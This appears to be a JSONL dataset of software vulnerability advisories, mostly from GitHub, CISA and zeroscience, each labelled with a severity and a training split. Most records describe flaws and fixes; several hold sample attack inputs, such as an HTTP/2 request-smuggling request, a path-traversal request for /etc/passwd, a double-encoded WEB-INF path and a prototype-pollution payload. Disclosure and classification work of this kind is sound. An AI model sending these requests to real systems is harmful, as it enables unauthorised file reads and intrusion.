-{"id": "298a0e08c3160485a389", "text": "Outdated Static Dependency in vue-moment\n\nVersions of `vue-moment` prior to 4.1.0 contain an Outdated Static Dependency. The package depends on `moment` and has it loaded statically instead of as a dependency that can be updated. It has `moment@2.19.1` that contains a Regular Expression Denial of Service vulnerability.\n\n## Recommendation\n\nUpgrade to version 4.1.0 or later.", "text_raw": "Outdated Static Dependency in vue-moment\n\n[Severity: MEDIUM]\n\nVersions of `vue-moment` prior to 4.1.0 contain an Outdated Static Dependency. The package depends on `moment` and has it loaded statically instead of as a dependency that can be updated. It has `moment@2.19.1` that contains a Regular Expression Denial of Service vulnerability.\n\n\n## Recommendation\n\nUpgrade to version 4.1.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "d4fedf34f2495ff5ca31", "text": "Regular Expression Denial of Service (ReDoS) in ua-parser-js\n\nua-parser-js >= 0.7.14, fixed in 0.7.24, uses a regular expression which is vulnerable to denial of service. If an attacker sends a malicious User-Agent header, ua-parser-js will get stuck processing it for an extended period of time.", "text_raw": "Regular Expression Denial of Service (ReDoS) in ua-parser-js\n\n[Severity: HIGH]\n\nua-parser-js >= 0.7.14, fixed in 0.7.24, uses a regular expression which is vulnerable to denial of service. If an attacker sends a malicious User-Agent header, ua-parser-js will get stuck processing it for an extended period of time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "5351edbe73f2679de577", "text": "SQL Injection in odata4j\n\nodata4j 0.7.0 allows ExecuteCountQueryCommand.java SQL injection. NOTE, this product is apparently discontinued.", "text_raw": "SQL Injection in odata4j\n\n[Severity: CRITICAL]\n\nodata4j 0.7.0 allows ExecuteCountQueryCommand.java SQL injection. NOTE, this product is apparently discontinued.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "7d265a8f4fc6687caf75", "text": "Cross-site Scripting in dompurify\n\nCure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM elements.", "text_raw": "Cross-site Scripting in dompurify\n\n[Severity: MEDIUM]\n\nCure53 DOMPurify before 2.0.17 allows mutation XSS. This occurs because a serialize-parse roundtrip does not necessarily return the original DOM tree, and a namespace can change from HTML to MathML, as demonstrated by nesting of FORM elements.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-18", "split": "train"}
-{"id": "77f6a874d164aecc1139", "text": "Critical security issues in XML encoding in github.com/dexidp/dex\n\n### Impact\n\nThe following vulnerabilities have been disclosed, which impact users leveraging the SAML connector:\n\nSignature Validation Bypass (CVE-2020-15216): https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7\n\n`encoding/xml` instabilities:\n - [Element namespace prefix instability (CVE-2020-29511)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-elements.md)\n - [Attribute namespace prefix instability (CVE-2020-29509)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-attributes.md)\n - [Directive comment instability (CVE-2020-29510)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-directives.md)\n\n### Patches\n\nImmediately update to [Dex v2.27.0](https://github.com/dexidp/dex/releases/tag/v2.27.0).\n\n### Workarounds\n\nThere are no known workarounds.", "text_raw": "Critical security issues in XML encoding in github.com/dexidp/dex\n\n[Severity: CRITICAL]\n\n### Impact\n\nThe following vulnerabilities have been disclosed, which impact users leveraging the SAML connector:\n\nSignature Validation Bypass (CVE-2020-15216): https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7\n\n`encoding/xml` instabilities:\n - [Element namespace prefix instability (CVE-2020-29511)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-elements.md)\n - [Attribute namespace prefix instability (CVE-2020-29509)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-attributes.md)\n - [Directive comment instability (CVE-2020-29510)](https://github.com/mattermost/xml-roundtrip-validator/blob/master/advisories/unstable-directives.md)\n\n### Patches\n\nImmediately update to [Dex v2.27.0](https://github.com/dexidp/dex/releases/tag/v2.27.0).\n\n### Workarounds\n\nThere are no known workarounds.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "f8277bb2da6d12f1bede", "text": "Possible request smuggling in HTTP/2 due missing validation\n\n### Impact\nIf a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up.  This is fine as long as the request is not proxied through as HTTP/1.1.\nIf the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.\n\nIn a proxy case, users  may assume the content-length is validated somehow, which is not the case.  If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.\n\nAn attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1.   A sample attack request looks like:\n\n```\nPOST / HTTP/2\n:authority:: externaldomain.com\nContent-Length: 4\n\nasdfGET /evilRedirect HTTP/1.1\nHost: internaldomain.com\n```\n\nUsers are only affected if all of this is `true`:\n * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used\n * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects\n * These  HTTP/1.1 objects are forwarded to another remote peer.\n\n### Patches\nThis has been patched in 4.1.60.Final\n\n### Workarounds\nThe user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.\n\n### References\nRelated change to workaround the problem: https://github.com/Netflix/zuul/pull/980", "text_raw": "Possible request smuggling in HTTP/2 due missing validation\n\n[Severity: MEDIUM]\n\n### Impact\nIf a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up.  This is fine as long as the request is not proxied through as HTTP/1.1.\nIf the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.  \n\nIn a proxy case, users  may assume the content-length is validated somehow, which is not the case.  If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.\n\nAn attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1.   A sample attack request looks like:\n\n```\nPOST / HTTP/2\n:authority:: externaldomain.com\nContent-Length: 4\n\nasdfGET /evilRedirect HTTP/1.1\nHost: internaldomain.com\n```\n\nUsers are only affected if all of this is `true`:\n * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used\n * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects\n * These  HTTP/1.1 objects are forwarded to another remote peer.\n \n\n### Patches\nThis has been patched in 4.1.60.Final\n\n### Workarounds\nThe user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.\n\n### References\nRelated change to workaround the problem: https://github.com/Netflix/zuul/pull/980 ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-09", "split": "train"}
-{"id": "edab85d6e89d2292283c", "text": "Schneider Electric Pelco VideoXpert Core Admin Portal Directory Traversal", "text_raw": "Schneider Electric Pelco VideoXpert Core Admin Portal Directory Traversal\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-07-10", "split": "train"}
-{"id": "206e698bc3cbf2af8add", "text": "Session fixation vulnerability in Rails\n\nSession fixation vulnerability in Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers to hijack web sessions via unspecified vectors related to \"URL-based sessions.\"", "text_raw": "Session fixation vulnerability in Rails \n\n[Severity: MEDIUM]\n\nSession fixation vulnerability in Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers to hijack web sessions via unspecified vectors related to \"URL-based sessions.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "af99f00f5c9290a60aaa", "text": "Denial of Service via malformed accept-encoding header in hapi\n\nAffected versions of `hapi` will crash or lock the event loop when a malformed `accept-encoding` header is recieved.\n\n## Recommendation\n\nUpdate to version 16.1.1 or later.", "text_raw": "Denial of Service via malformed accept-encoding header in hapi\n\n[Severity: HIGH]\n\nAffected versions of `hapi` will crash or lock the event loop when a malformed `accept-encoding` header is recieved.\n\n\n## Recommendation\n\nUpdate to version 16.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "a1330bb89492e24fada8", "text": "Code Injection in morgan\n\nVerisons of `morgan` before 1.9.1 are vulnerable to code injection when user input is allowed into the filter or combined with a prototype pollution attack.\n\n## Recommendation\n\nUpdate to version 1.9.1 or later.", "text_raw": "Code Injection in morgan\n\n[Severity: CRITICAL]\n\nVerisons of `morgan` before 1.9.1 are vulnerable to code injection when user input is allowed into the filter or combined with a prototype pollution attack.\n\n\n## Recommendation\n\nUpdate to version 1.9.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "776a09799caeaa68fbe2", "text": "Malicious Package in leetlog\n\nVersions 0.1.2 and 0.1.3 of `leetlog` contain malicious code. The package adds an arbitrary hardcoded SSH key identified as `hacker@evilmachine` to the system's `authorized_keys`\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in leetlog\n\n[Severity: CRITICAL]\n\nVersions 0.1.2 and 0.1.3 of `leetlog` contain malicious code. The package adds an arbitrary hardcoded SSH key identified as `hacker@evilmachine` to the system's `authorized_keys`\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4383940243cb10a647a9", "text": "XSS in enshrined/svg-sanitize due to mishandled script and data values in attributes\n\nenshrined/svg-sanitize before 0.12.0 mishandles script and data values in attributes, as demonstrated by unexpected whitespace such as in the javascript&#9;:alert substring.", "text_raw": "XSS in enshrined/svg-sanitize due to mishandled script and data values in attributes\n\n[Severity: HIGH]\n\nenshrined/svg-sanitize before 0.12.0 mishandles script and data values in attributes, as demonstrated by unexpected whitespace such as in the javascript&#9;:alert substring.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-08", "split": "train"}
-{"id": "0847cdacf647d4d91641", "text": "Sprockets path traversal leads to information leak\n\nSpecially crafted requests can be used to access files that exist on the filesystem that is outside an application's root directory, when the Sprockets server is used in production.\n\nAll users running an affected release should either upgrade or use one of the work arounds immediately.\n\n### Workaround:\n\nIn Rails applications, work around this issue, set `config.assets.compile = false` and `config.public_file_server.enabled = true` in an initializer and precompile the assets.\n\nThis work around will not be possible in all hosting environments and upgrading is advised.", "text_raw": "Sprockets path traversal leads to information leak\n\n[Severity: HIGH]\n\nSpecially crafted requests can be used to access files that exist on the filesystem that is outside an application's root directory, when the Sprockets server is used in production.\n  \nAll users running an affected release should either upgrade or use one of the work arounds immediately.\n  \n### Workaround:\n  \nIn Rails applications, work around this issue, set `config.assets.compile = false` and `config.public_file_server.enabled = true` in an initializer and precompile the assets.\n\nThis work around will not be possible in all hosting environments and upgrading is advised.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-06-20", "split": "train"}
-{"id": "649ed5a5dd470d9664db", "text": "Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability\n\nRequests to the `ConcatServlet` and `WelcomeFilter` are able to access protected resources within the `WEB-INF` directory. For example a request to the `ConcatServlet` with a URI of `/concat?/%2557EB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.\n\nThis occurs because both `ConcatServlet` and `WelcomeFilter` decode the supplied path to verify it is not within the `WEB-INF` or `META-INF` directories. It then uses this decoded path to call `RequestDispatcher` which will also do decoding of the path. This double decoding allows paths with a doubly encoded `WEB-INF` to bypass this security check.\n\n### Impact\nThis affects all versions of `ConcatServlet` and `WelcomeFilter` in versions before 9.4.41, 10.0.3 and 11.0.3.\n\n### Workarounds\n\nIf you cannot update to the latest version of Jetty, you can instead deploy your own version of the [`ConcatServlet`](https://github.com/eclipse/jetty.project/blob/4204526d2fdad355e233f6bf18a44bfe028ee00b/jetty-servlets/src/main/java/org/eclipse/jetty/servlets/ConcatServlet.java) and/or the [`WelcomeFilter`](https://github.com/eclipse/jetty.project/blob/4204526d2fdad355e233f6bf18a44bfe028ee00b/jetty-servlets/src/main/java/org/eclipse/jetty/servlets/WelcomeFilter.java) by using the code from the latest version of Jetty.", "text_raw": "Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability\n\n[Severity: MEDIUM]\n\nRequests to the `ConcatServlet` and `WelcomeFilter` are able to access protected resources within the `WEB-INF` directory. For example a request to the `ConcatServlet` with a URI of `/concat?/%2557EB-INF/web.xml` can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.\n\nThis occurs because both `ConcatServlet` and `WelcomeFilter` decode the supplied path to verify it is not within the `WEB-INF` or `META-INF` directories. It then uses this decoded path to call `RequestDispatcher` which will also do decoding of the path. This double decoding allows paths with a doubly encoded `WEB-INF` to bypass this security check.\n\n### Impact\nThis affects all versions of `ConcatServlet` and `WelcomeFilter` in versions before 9.4.41, 10.0.3 and 11.0.3.\n\n### Workarounds\n\nIf you cannot update to the latest version of Jetty, you can instead deploy your own version of the [`ConcatServlet`](https://github.com/eclipse/jetty.project/blob/4204526d2fdad355e233f6bf18a44bfe028ee00b/jetty-servlets/src/main/java/org/eclipse/jetty/servlets/ConcatServlet.java) and/or the [`WelcomeFilter`](https://github.com/eclipse/jetty.project/blob/4204526d2fdad355e233f6bf18a44bfe028ee00b/jetty-servlets/src/main/java/org/eclipse/jetty/servlets/WelcomeFilter.java) by using the code from the latest version of Jetty.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-10", "split": "train"}
-{"id": "43b56693d2aed4860418", "text": "Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability\n\nAffected: Tenda AC1900 Router AC15 Model\n\nTenda AC1900 Router AC15 Model contains an unspecified vulnerability that allows remote attackers to execute system commands via the deviceName POST parameter.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability\n\nAffected: Tenda AC1900 Router AC15 Model\n\nTenda AC1900 Router AC15 Model contains an unspecified vulnerability that allows remote attackers to execute system commands via the deviceName POST parameter.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "05f3bfc5b22f0d771826", "text": "Malicious Package in requestt\n\nAll versions of `requestt` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in requestt\n\n[Severity: CRITICAL]\n\nAll versions of `requestt` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "41464c4b120921c8653b", "text": "Token verification bug in next-auth\n\n### Impact\n\nImplementations using the **Prisma database adapter** with the **Email provider** **are impacted**.\n\nImplementations using the Prisma database adapter that are not using the Email provider are not impacted.\nImplementations using the default database adapter (TypeORM) with the Email provider are not impacted.\nImplementations not using a database are not impacted.\n\n### Patches\n\nThis issue is fixed in 3.3.0 and newer versions.\n\n### Workarounds\n\nThose not able to upgrade can alternatively disable the Email provider as a workaround.\n\n### Description\n\nThe Prisma database adapter was checking the verification token but not the identifier (the email address associated with the token). This made it possible to use a valid token assigned to one user, to sign in as another user when using the Prima adapter in conjunction with the Email provider. The defect is specific to the community-supported Prisma database adapter in versions <3.3.0 and is not present in the default database adapter (TypeORM).\n\n*Note:  The current community-supported adapter was not developed by Prisma.*\n\nThe defect was a problem in the implementation of verification function the adapter and is not directly related to Prisma.\n\nThe flaw may exist in other third party database adapters that do not check both the identifier and token values.\n\nThe design of the database adapter API may be revised in future to help reduce the likelyhood of similar defects.\n\n### Timeline\n\nOn Monday (2021-02-08) we were notified via responsible disclosure by Alessandro Angelino (@AlessandroA) of a flaw in the implementation of the Prisma database adapter included with NextAuth.js. A detailed write up and proof of concept were provided.\n\nThe following day (2021-02-09) we published a fix in v3.3.0 and confirmed through internal testing, and with Alessandro, that the issue was resolved in the new release and prompted users to upgrade.\n\nOn 2021-02-10 we received a CVE ID and published this advisory within a few hours of notification.\n\nWe would like to thank Alessandro for using responsible disclose to allow us to address the issue promptly and publish this advisory once an update was available that resolved the issue and Balázs Orbán (@balazsorban44) for facilitating a timely release of the fix.", "text_raw": "Token verification bug in next-auth\n\n[Severity: LOW]\n\n### Impact\n\nImplementations using the **Prisma database adapter** with the **Email provider** **are impacted**.\n\nImplementations using the Prisma database adapter that are not using the Email provider are not impacted.\nImplementations using the default database adapter (TypeORM) with the Email provider are not impacted.\nImplementations not using a database are not impacted.\n\n### Patches\n\nThis issue is fixed in 3.3.0 and newer versions.\n\n### Workarounds\n\nThose not able to upgrade can alternatively disable the Email provider as a workaround.\n\n### Description\n\nThe Prisma database adapter was checking the verification token but not the identifier (the email address associated with the token). This made it possible to use a valid token assigned to one user, to sign in as another user when using the Prima adapter in conjunction with the Email provider. The defect is specific to the community-supported Prisma database adapter in versions <3.3.0 and is not present in the default database adapter (TypeORM).\n\n*Note:  The current community-supported adapter was not developed by Prisma.*\n\nThe defect was a problem in the implementation of verification function the adapter and is not directly related to Prisma.\n\nThe flaw may exist in other third party database adapters that do not check both the identifier and token values.\n\nThe design of the database adapter API may be revised in future to help reduce the likelyhood of similar defects.\n\n### Timeline\n\nOn Monday (2021-02-08) we were notified via responsible disclosure by Alessandro Angelino (@AlessandroA) of a flaw in the implementation of the Prisma database adapter included with NextAuth.js. A detailed write up and proof of concept were provided.\n\nThe following day (2021-02-09) we published a fix in v3.3.0 and confirmed through internal testing, and with Alessandro, that the issue was resolved in the new release and prompted users to upgrade.\n\nOn 2021-02-10 we received a CVE ID and published this advisory within a few hours of notification.\n\nWe would like to thank Alessandro for using responsible disclose to allow us to address the issue promptly and publish this advisory once an update was available that resolved the issue and Balázs Orbán (@balazsorban44) for facilitating a timely release of the fix.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
-{"id": "522e7ff7ac76c52e554a", "text": "Regular Expression Denial of Service in no-case\n\nAffected versions of `no-case` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\n## Recommendation\n\nUpdate to version 2.3.2 or later.", "text_raw": "Regular Expression Denial of Service in no-case\n\n[Severity: HIGH]\n\nAffected versions of `no-case` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\n\n## Recommendation\n\nUpdate to version 2.3.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "620e0b4c028593f7cb31", "text": "SQL Server LIMIT / OFFSET SQL Injection in laravel/framework and illuminate/database\n\n### Impact\n\nThose using SQL Server with Laravel and allowing user input to be passed directly to the `limit` and `offset` functions are vulnerable to SQL injection. Other database drivers such as MySQL and Postgres are not affected by this vulnerability.\n\n### Patches\n\nThis problem has been patched on Laravel versions 6.20.26, 7.30.5, and 8.40.0.\n\n### Workarounds\n\nYou may workaround this vulnerability by ensuring that only integers are passed to the `limit` and `offset` functions, as well as the `skip` and `take` functions.", "text_raw": "SQL Server LIMIT / OFFSET SQL Injection in laravel/framework and illuminate/database\n\n[Severity: HIGH]\n\n### Impact\n\nThose using SQL Server with Laravel and allowing user input to be passed directly to the `limit` and `offset` functions are vulnerable to SQL injection. Other database drivers such as MySQL and Postgres are not affected by this vulnerability.\n\n### Patches\n\nThis problem has been patched on Laravel versions 6.20.26, 7.30.5, and 8.40.0.\n\n### Workarounds\n\nYou may workaround this vulnerability by ensuring that only integers are passed to the `limit` and `offset` functions, as well as the `skip` and `take` functions.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "7f7026b4e6b23e3bd187", "text": "VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal", "text_raw": "VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-03-31", "split": "train"}
-{"id": "f17d7830a38d195ab37a", "text": "Prototype Pollution in chartkick\n\nAffected versions of `@polymer/polymer` are vulnerable to prototype pollution. The package fails to prevent modification of object prototypes through chart options containing a payload such as `{\"__proto__\": {\"polluted\": true}}`. It is possible to achieve the same results if a chart loads data from a malicious server.\n\n## Recommendation\n\nUpgrade to version 3.2.0 or later.", "text_raw": "Prototype Pollution in chartkick\n\n[Severity: HIGH]\n\nAffected versions of `@polymer/polymer` are vulnerable to prototype pollution. The package fails to prevent modification of object prototypes through chart options containing a payload such as `{\"__proto__\": {\"polluted\": true}}`. It is possible to achieve the same results if a chart loads data from a malicious server.\n\n\n## Recommendation\n\nUpgrade to version 3.2.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "d52878949096f8aec5ea", "text": "JDKChat v1.5 Remote Integer Overflow PoC", "text_raw": "JDKChat v1.5 Remote Integer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2009-03-12", "split": "train"}
-{"id": "99d0b0876f914f376b7d", "text": "Tarslip in go-unarr\n\nunarr.go in go-unarr (aka Go bindings for unarr) 0.1.1 allows Directory Traversal via ../ in a pathname within a TAR archive.", "text_raw": "Tarslip in go-unarr\n\n[Severity: CRITICAL]\n\nunarr.go in go-unarr (aka Go bindings for unarr) 0.1.1 allows Directory Traversal via ../ in a pathname within a TAR archive.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "c83780443b8f27f37923", "text": "Downloads Resources over HTTP in grunt-ccompiler\n\nAffected versions of `grunt-ccompiler` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `grunt-ccompiler`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the repository has been deleted from the owner's github account.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in grunt-ccompiler\n\n[Severity: HIGH]\n\nAffected versions of `grunt-ccompiler` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `grunt-ccompiler`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the repository has been deleted from the owner's github account.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7dec75e295cffdb7fa3d", "text": "Stored Cross-Site Scripting in simplehttpserver\n\nSimplehttpserver prior to version 0.1.0 are vulnerable to stored cross-site scripting (XSS). To be exploited an attacker needs to control the filename of a file that is used in the directory listing output. This version is patched in 0.1.0", "text_raw": "Stored Cross-Site Scripting in simplehttpserver\n\n[Severity: MEDIUM]\n\nSimplehttpserver prior to version 0.1.0 are vulnerable to stored cross-site scripting (XSS). To be exploited an attacker needs to control the filename of a file that is used in the directory listing output. This version is patched in 0.1.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "d7a8a4a8dfe597891438", "text": "Malicious Package in buffdr-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffdr-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cb249f2403b26fba915f", "text": "Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Adobe Font Manager Library contains an unspecified vulnerability when handling specially crafted multi-master fonts (Adobe Type 1 PostScript format) that allows for remote code execution for all systems except Windows 10. For systems running Windows 10, an attacker who successfully exploited the vulnerability could execute code in an AppContainer sandbox context with limited privileges and capabilities.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Adobe Font Manager Library contains an unspecified vulnerability when handling specially crafted multi-master fonts (Adobe Type 1 PostScript format) that allows for remote code execution for all systems except Windows 10. For systems running Windows 10, an attacker who successfully exploited the vulnerability could execute code in an AppContainer sandbox context with limited privileges and capabilities.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a762940f5a28fb974f37", "text": "Uncontrolled recursion in ammonia\n\nAn issue was discovered in the ammonia crate before 2.1.0 for Rust. There is uncontrolled recursion during HTML DOM tree serialization.", "text_raw": "Uncontrolled recursion in ammonia\n\n[Severity: HIGH]\n\nAn issue was discovered in the ammonia crate before 2.1.0 for Rust. There is uncontrolled recursion during HTML DOM tree serialization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "01e342afd2fb6f233afb", "text": "Directory Traversal in getcityapi.yoehoehne\n\nAffected versions of `getcityapi.yoehoehne` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in getcityapi.yoehoehne\n\n[Severity: HIGH]\n\nAffected versions of `getcityapi.yoehoehne` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "69dd9137d402f5bd1745", "text": "Path Traversal in http-file-server\n\nAll versions of `http-file-server` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Path Traversal in http-file-server\n\n[Severity: MEDIUM]\n\nAll versions of `http-file-server` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
